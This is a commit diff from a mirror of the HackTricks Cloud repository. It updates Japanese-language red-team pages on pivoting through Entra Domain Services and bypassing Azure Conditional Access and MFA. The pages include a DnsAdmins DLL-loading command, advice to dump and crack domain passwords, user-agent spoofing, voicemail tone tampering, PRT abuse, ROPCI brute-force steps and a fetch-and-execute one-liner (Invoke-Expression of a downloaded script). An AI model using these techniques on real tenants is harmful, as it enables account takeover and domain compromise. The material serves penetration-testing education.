mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
10
.github/pull_request_template.md
vendored
10
.github/pull_request_template.md
vendored
@@ -1,9 +1,11 @@
|
||||
PR を送信する前にこの内容は削除して構いません:
|
||||
|
||||
## Attribution
|
||||
私たちはあなたの知識を重視し、コンテンツの共有を奨励します。必ず、自分が所有しているコンテンツまたは元の著者から共有の許可を得ているコンテンツのみをアップロードしてください(追加したテキスト内または修正しているページの最後に著者への参照を追加すること)。知的財産権へのあなたの尊重は、誰にとっても信頼できる合法的な共有環境を育みます。
|
||||
私たちはあなたの知識を重視しており、コンテンツの共有を推奨します。アップロードするのは、あなたが所有しているコンテンツ、もしくは原著者から共有の許可を得ているコンテンツのみであることを確認してください(追加したテキスト内や、修正しているページの末尾、またはその両方に著者の参照を付けること)。知的財産権を尊重することで、誰にとっても信頼でき合法的な共有環境が育まれます。
|
||||
|
||||
## HackTricks Training
|
||||
[ARTE certification](https://training.hacktricks.xyz/courses/arte) 試験に3つのフラグではなく2つのフラグで合格するために追加している場合は、PRを `arte-<username>` と呼ぶ必要があります。
|
||||
If you are sending a PR so you can pass the in the [ARTE certification](https://hacktricks-training.com/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`, `grte-<username>` or `azrte-<username>`, depending on the certification you are doing.
|
||||
|
||||
また、文法/構文の修正は試験フラグの削減には受け入れられないことを忘れないでください。
|
||||
また、文法/構文の修正は試験のフラグ削減の対象にはなりません。
|
||||
|
||||
いずれにせよ、HackTricksへの貢献に感謝します!
|
||||
いずれにせよ、HackTricks にご協力いただきありがとうございます!
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
> [!TIP]
|
||||
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> 学んで実践する AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> 学んで実践する GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> 学んで実践する Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>HackTricksをサポートする</summary>
|
||||
> <summary>HackTricks をサポートする</summary>
|
||||
>
|
||||
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
> - [**subscription plans**](https://github.com/sponsors/carlospolop) を確認してください!
|
||||
> - **参加する** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -2,42 +2,42 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
## ドメインサービス
|
||||
|
||||
Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします(実際、あなたはそれらにアクセスすることすらできません)。
|
||||
Microsoft Entra Domain Services は、ドメインコントローラーを管理することなく Azure 上に Active Directory をデプロイできるようにします(実際にはそれらにアクセスさえできません)。
|
||||
|
||||
その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリのルックアップが常にオンプレミスのAD DS環境に戻ることを望まない場合です。
|
||||
主な目的は、最新の認証方式を使用できないレガシーアプリケーションをクラウドで実行したり、ディレクトリ照会が常にオンプレミスの AD DS 環境に戻ることを望まない場合に対応することです。
|
||||
|
||||
Entra IDで生成されたユーザー(他のアクティブディレクトリから同期されていない)をADドメインサービスに同期するには、**ユーザーのパスワードを新しいものに変更する**必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。
|
||||
注意:Entra ID(他の Active Directory から同期されていないもの)で生成されたユーザーを AD ドメインサービスに同期するには、ユーザーのパスワードを新しいものに **変更する** 必要があり、それによって新しい AD と同期されます。実際には、パスワードが変更されるまで Microsoft Entra ID から Domain Services へユーザーは同期されません。
|
||||
|
||||
> [!WARNING]
|
||||
> 新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできません(いくつかの誤設定を悪用しない限り)。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーは**Entra IDからのユーザーの同期によって作成されます。** すべてのユーザー(他のオンプレミスADから同期されたユーザーを含む)、クラウドユーザー(Entra IDで作成されたユーザー)のみ、または**さらにフィルタリングする**こともできます。
|
||||
> 新しい Active Directory ドメインを作成しても(何らかのミスコンフィグを悪用しない限り)完全に管理することはできません。つまり、デフォルトでは例えば AD に直接ユーザーを作成することはできません。ユーザーは **Entra ID から同期して作成** します。すべてのユーザー(他のオンプレミス AD から同期されたものも含む)、クラウドユーザーのみ(Entra ID で作成されたユーザー)、あるいはさらに **絞り込んで同期** するよう指定できます。
|
||||
|
||||
> [!NOTE]
|
||||
> 一般的に、新しいドメインの構成の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。
|
||||
> 一般的に、新しいドメインの設定の柔軟性が乏しいことや AD が通常既にオンプレミスに存在することから、これは Entra ID と AD の主要な統合方法ではありませんが、侵害する方法を知るうえでは興味深いです。
|
||||
|
||||
### Pivoting
|
||||
|
||||
生成された**`AAD DC Administrators`**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限を付与されます(ただし、ドメインコントローラーにはありません)。このグループのメンバーは、**リモートデスクトップを使用してドメイン参加しているVMにリモート接続する**こともできます。また、次のグループのメンバーでもあります:
|
||||
生成された **`AAD DC Administrators`** グループのメンバーは、ローカル administrators グループに追加されるため、managed domain にドメイン参加している VM に対してローカル管理者権限が付与されます(ただしドメインコントローラー上ではありません)。このグループのメンバーは **Remote Desktop を使ってドメイン参加済みの VM にリモート接続** することもでき、以下のグループのメンバーでもあります:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: これは、RODC(読み取り専用ドメインコントローラー)にパスワードをキャッシュできないユーザーとグループを指定するグループです。
|
||||
- **`Group Policy Creators Owners`**: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではそれほど興味深くはありません。
|
||||
- **`DnsAdmins`**: このグループはDNS設定を管理することを可能にし、過去には[特権を昇格させてドメインを妥協するために悪用されました](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)。ただし、この環境で攻撃をテストした結果、脆弱性は修正されていることが確認されました。
|
||||
- **`Denied RODC Password Replication Group`**: これは、RODCs(Read-Only Domain Controllers)上でパスワードをキャッシュできないユーザーやグループを指定するグループです。
|
||||
- **`Group Policy Creators Owners`**: このグループのメンバーはドメイン内で Group Policies を作成できます。ただし、ユーザーやグループに対して Group Policy を適用したり既存の GPO を編集することはできないため、この環境ではあまり重要ではありません。
|
||||
- **`DnsAdmins`**: このグループは DNS 設定の管理を許可し、過去に[特権昇格とドメインの侵害](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)に悪用されたことがあります。しかしこの環境で攻撃をテストしたところ、その脆弱性は修正されていることが確認されました:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
注意すべきは、これらの権限を付与するために、AD内でグループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、またGPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** のすべてのメンバーをローカル管理者として追加していることです。
|
||||
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
|
||||
Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ **`AAD DC Administrators`** にユーザーを追加し、ドメイン内の任意のマシンにRDPでアクセスすれば、データを盗むことができ、さらに **ドメインを侵害することができます。**
|
||||
Entra ID から Domain Services で作成された AD へピボットするのは簡単です。ユーザーをグループ **`AAD DC Administrators`** に追加し、ドメイン内の任意/すべてのマシンに RDP でアクセスすれば、データを盗むことや **compromise the domain.**
|
||||
|
||||
しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインの情報はEntra IDに同期されていません。ただし、すべてのVMに割り当てられたマネージドIDが興味深い権限を持っている可能性があるため、メタデータを常に確認してください。また、**ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。**
|
||||
しかし、ドメインから Entra ID へピボットするのは容易ではありません。ドメイン側の情報は Entra ID に同期されていないためです。ただし、参加しているすべての VMs のメタデータを常に確認してください。割り当てられた managed identities が興味深い権限を持っている可能性があります。また、**dump all the users passwords from the domain** を行い、それらを crack してから Entra ID / Azure にログインを試みてください。
|
||||
|
||||
> [!NOTE]
|
||||
> 過去にこの管理されたADにおいて、DCを侵害することを可能にする他の脆弱性が見つかったことに注意してください、[このようなもの](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。DCを侵害した攻撃者は、Azure管理者が気づかず、またはそれを削除できないまま、非常に簡単に持続性を維持することができます。
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
@@ -59,7 +59,7 @@ az rest --method post \
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure で設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
|
||||
Conditional access ポリシーは基本的に **誰** が **何** に **どこから** **どのように** アクセスできるかを **定義** します。
|
||||
Azure Conditional Access policies は、特定の**条件**に基づいて Azure サービスやアプリケーションへのアクセス制御を強制するために Microsoft Azure 上で設定されるルールです。これらのポリシーは、適切な状況で適切なアクセス制御を適用することで、組織がリソースを保護するのに役立ちます。
|
||||
Conditional access policies は基本的に **誰が** が **何を** に **どこから** そして **どのように** アクセスできるかを定義します。
|
||||
|
||||
以下は2つの例です:
|
||||
以下はいくつかの例です:
|
||||
|
||||
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からのログインなど、システムは追加の認証を促すことができます。
|
||||
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスが許可される場合があります。
|
||||
1. **Sign-In Risk Policy**: このポリシーは、サインインのリスクが検出された場合に多要素認証(MFA)を要求するよう設定できます。例えば、ユーザーのログイン挙動が通常のパターンと比べて異常で、別の国からのログインなどがある場合、システムは追加の認証を求めることができます。
|
||||
2. **Device Compliance Policy**: このポリシーは、組織のセキュリティ基準に準拠したデバイスからのみ Azure サービスへのアクセスを許可するよう制限できます。例えば、最新のウイルス対策ソフトがインストールされているデバイスや、特定のオペレーティングシステムのバージョンを実行しているデバイスからのみアクセスを許可するといった設定が可能です。
|
||||
|
||||
## 列挙
|
||||
```bash
|
||||
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
|
||||
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
|
||||
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
|
||||
```
|
||||
## Conditional Acces Policies Bypasses
|
||||
## 条件付きアクセス ポリシーのバイパス
|
||||
|
||||
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーをバイパスできる**ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
条件付きアクセス ポリシーが、**簡単に改ざんできる情報をチェックしており、そのためにポリシーをバイパスされる可能性があります**。例えばポリシーがMFAを構成している場合、攻撃者はそれをバイパスできます。
|
||||
|
||||
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー**と **ターゲットリソース**(すべてのクラウドアプリなど)を指定する必要があります。
|
||||
条件付きアクセス ポリシーを構成する際は、影響を受ける**users(ユーザー)**と**target resources(対象リソース)**(like all cloud apps)を指定する必要があります。
|
||||
|
||||
また、ポリシーを **トリガー**する **条件**を設定する必要があります:
|
||||
また、ポリシーを**トリガー**する**conditions**も設定する必要があります:
|
||||
|
||||
- **ネットワーク**: IP、IP 範囲、地理的位置
|
||||
- VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能
|
||||
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
|
||||
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
|
||||
- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
|
||||
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、および「その他のクライアント」
|
||||
- 選択されていないオプションでログインをバイパスする
|
||||
- **デバイスのフィルタ**: 使用されているデバイスに関連するルールを生成可能
|
||||
- **認証フロー**: オプションは「デバイス コード フロー」と「認証転送」
|
||||
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません
|
||||
- **Network**: IP、IPレンジ、地理的ロケーション
|
||||
- VPNやProxyを使用して許可された国に接続したり、許可されたIPアドレスからログインすることでバイパスできます
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device または Android、iOS、Windows phone、Windows、macOS、Linux を選択
|
||||
- 「Any device」が選択されておらず他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなuser-agentを使用してバイパスすることが可能です
|
||||
- **Client apps**: オプションは “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and “Other clients”
|
||||
- 選択されていないオプションを使ってログインすればバイパスできます
|
||||
- **Filter for devices**: 使用されているデバイスに関連するルールを生成することが可能です
|
||||
- A**uthentication flows**: オプションは “Device code flow” と “Authentication transfer”
|
||||
- これらのプロトコルを悪用して被害者のアカウントにフィッシングでアクセスしようとしない限り、攻撃者には影響しません
|
||||
|
||||
可能な **結果** は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
|
||||
可能な**results**は:アクセスをブロックする、またはMFAを要求する、デバイスをコンプライアントにするなどの条件付きでアクセスを許可する、などです。
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
**デバイスプラットフォーム**(Android、iOS、Windows、macOS など)に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント**を使用すれば、MFA またはブロックをバイパスできます:
|
||||
**device platform**(Android、iOS、Windows、macOS...)に基づく条件を設定することは可能ですが、これは**user-agent**に基づいているため簡単にバイパスできます。すべてのオプションで**MFAを強制**していても、**認識されないuser-agent**を使用すれば、MFAやブロックをバイパスできます:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ブラウザに **不明なユーザーエージェント**(例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを **手動で**変更できます:
|
||||
ブラウザに**未知のuser-agentを送信させる**だけで(例えば `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)、この条件をトリガーしません。\
|
||||
開発者ツールでuser agentを**手動で**変更できます:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
|
||||
または [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) を使用してください。
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国**で **VPN**を使用するか、**許可された IP アドレス**からアクセスする方法を見つけて、これらの条件をバイパスできます。
|
||||
条件付きポリシーでこれが設定されている場合、攻撃者は**VPN**を使って**許可された国**から接続したり、**許可されたIPアドレス**からアクセスする方法を見つけてこれらの条件をバイパスできます。
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
特定のアプリにアクセスしようとするユーザーに対して、**条件付きアクセス ポリシーを設定してブロックまたは強制**することが可能です。たとえば MFA を設定することができます:
|
||||
ユーザーが**特定のアプリ**にアクセスしようとしたときに、例えばMFAを**ブロックまたは強制する**ように条件付きアクセス ポリシーを構成することが可能です:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるか**を確認する必要があります。\
|
||||
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) は **ハードコーディングされた数十のアプリケーション ID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
この保護をバイパスしようとする場合、任意のアプリにログインできるか確認してください。\
|
||||
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は**数十個のアプリケーションIDがハードコード**されており、それらに対してログインを試み、成功すればトークンを返してくれます。
|
||||
|
||||
特定のリソース内の **特定のアプリケーション ID**をテストするために、次のようなツールを使用することもできます:
|
||||
特定のリソース内の**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール[**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)は、この保護をバイパスしようとするいくつかのチェックを実行します。
|
||||
さらに、ログイン方式(例:ブラウザやデスクトップアプリケーションからログインを試みる場合)を保護することも可能です。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護を回避しようとするチェックも実行します。
|
||||
|
||||
ツール[**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
|
||||
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用できますが、メンテナンスされていないように見えます。
|
||||
|
||||
ツール[**ROPCI**](https://github.com/wunderwuzzi23/ropci)もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
|
||||
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこれらの保護をテストし、MFA やブロックを回避できるか確認するために使用できますが、このツールは **whitebox** の視点で動作します。最初にテナントで許可されているアプリの一覧をダウンロードする必要があり、その後それらに対してログインを試みます。
|
||||
|
||||
## その他のAz MFAバイパス
|
||||
## その他の Az MFA バイパス
|
||||
|
||||
### 着信音
|
||||
### リングトーン
|
||||
|
||||
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字`#`を送信するように求められます**。
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの電話がボイスメールにリダイレクトされるようにすることができます。
|
||||
> 文字は単なる **トーン** であるため、攻撃者は電話番号の **ボイスメール** メッセージを **改ざん** し、メッセージを **`#` のトーン** に設定することができます。次に、MFA を要求するときに被害者の電話が**通話中であること**(呼び出し中)を確認すると、Azure の着信がボイスメールに転送されます。
|
||||
|
||||
### コンプライアントデバイス
|
||||
### 準拠デバイス
|
||||
|
||||
ポリシーはしばしばコンプライアントデバイスまたはMFAを要求するため、**攻撃者はコンプライアントデバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
|
||||
ポリシーはしばしば準拠デバイスまたは MFA を要求するため、**攻撃者は準拠デバイスを登録し**、**PRT** トークンを取得して、**この方法で MFA を回避する**ことができます。
|
||||
|
||||
まず、**Intuneにコンプライアントデバイスを登録**し、次に**PRTを取得**します:
|
||||
まず **Intune に準拠デバイスを登録** し、次に **PRT を取得** します:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
以下のページでこの種の攻撃に関する詳細情報を見つけてください:
|
||||
この種の攻撃の詳細は、次のページをご覧ください:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
@@ -112,9 +112,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
|
||||
このスクリプトはユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかを確認します。
|
||||
|
||||
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
|
||||
これは、いくつかのアプリケーションにログインする際に**MFAが要求されないかどうか**を確認するのに役立ちます。これらは後で悪用して**escalate privileges**する可能性があります。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -124,17 +124,17 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
MFASweep は PowerShell script で、**指定された資格情報を使用して各種 Microsoft サービスにログインし、MFA が有効かどうかを識別しようとします**。conditional access policies and other multi-factor authentication settings の設定方法によっては、一部のプロトコルが単一要素のまま残ることがあります。また、ADFS configurations に対する追加チェックを備えており、検出された場合は on-prem ADFS server にログインを試行できます。
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
このツールは、MFAのバイパスを特定し、その後、複数の本番AADテナントでAPIを悪用するのに役立ちました。AADの顧客はMFAが強制されていると信じていましたが、ROPCベースの認証が成功しました。
|
||||
このツールは、MFA のバイパスを特定し、その後複数の本番 AAD テナントで API を悪用するのに役立ちました。AAD の顧客は MFA が適用されていると考えていましたが、ROPC ベースの認証が成功しました。
|
||||
|
||||
> [!TIP]
|
||||
> ブルートフォースするアプリのリストを生成するためには、すべてのアプリケーションをリストする権限が必要です。
|
||||
> すべてのアプリケーションを列挙する権限が必要です。brute-force するアプリの一覧を生成できるようにするためです。
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,25 +143,25 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FAが有効なMicrosoftポータルのテストなど。
|
||||
Donkey tokenは、Conditional Access Policiesの検証や2FA対応のMicrosoftポータルのテストなどを行う必要があるセキュリティコンサルタントを支援することを目的とした関数群です。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認する:
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$username = "conditional-access-app-user@azure.hacktricks-training.com"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセス用のトークンが要求されます:
|
||||
